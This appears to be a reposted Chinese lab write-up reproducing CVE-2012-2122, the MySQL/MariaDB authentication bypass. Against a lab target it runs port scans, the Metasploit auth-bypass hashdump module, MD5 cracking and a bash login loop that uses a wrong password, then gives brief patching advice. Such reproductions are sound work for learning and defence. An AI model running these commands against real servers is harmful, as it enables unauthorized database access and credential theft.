0x01 漏洞介紹
-
漏洞描述
當連接MariaDB/MySQL時,輸入的密碼會與期望的正確密碼比較,由于不正確的處理,會導致即便是memcmp()回傳一個非零值,也會使MySQL認為兩個密碼是相同的,也就是說只要知道用戶名,不斷嘗試就能夠直接登入SQL資料庫, -
漏洞編號
CVE-2012-2122 -
受影響版本
| 資料庫 | 版本 |
|---|---|
| MariaDB | 5.1.62, 5.2.12, 5.3.6, 5.5.23 |
| MySQL | 5.1.63, 5.5.24, 5.6.6 |
0x02 環境部署
搭建一次,復現百次
靶機 ip:192.168.30.209
kali ip:192.168.30.182
0x03 漏洞復現
方法一:msf
1. 使用nmap掃描
使用nmap 對靶機進行掃描,查看所開放的埠,以及掃描資料庫的版本資訊
masscan --rate=10000 --ports 0-65535 192.168.30.209
nmap -T4 -sV -O -p 3306 192.168.30.209

發現目標主機開放埠3306

并且是mysql資料庫,對應版本版本為5.5.23,可以對其嘗試進行身份認證繞過操作
2. 配置msf引數,對靶機進行攻擊
#啟動msf
┌──(root💀kali)-[~/桌面]
└─# msfconsole
#選擇需要使用的模塊
msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
#查看選項
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > show options
Module options (auxiliary/scanner/mysql/mysql_authbypass_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3306 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME root yes The username to authenticate as
#配置引數
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set rhosts 192.168.30.209
rhosts => 192.168.30.209
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set threads 20
threads => 20
#運行
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > exploit

我們可以看到已經羅列出來經MD5加密的root用戶密碼

3. 在網站進行解密
MD5解密網站

4. 遠程連接mysql資料庫
mysql -h 192.168.30.209 -u root -p123456

連接成功
方法二:執行腳本
在終端運行命令
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.30.209 -P3306 ; done


直接拿下資料庫,復現成功
0x04 漏洞修復
-
對資料庫進行升級打補丁
-
在防火墻上關閉mysql埠
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/299605.html
標籤:其他
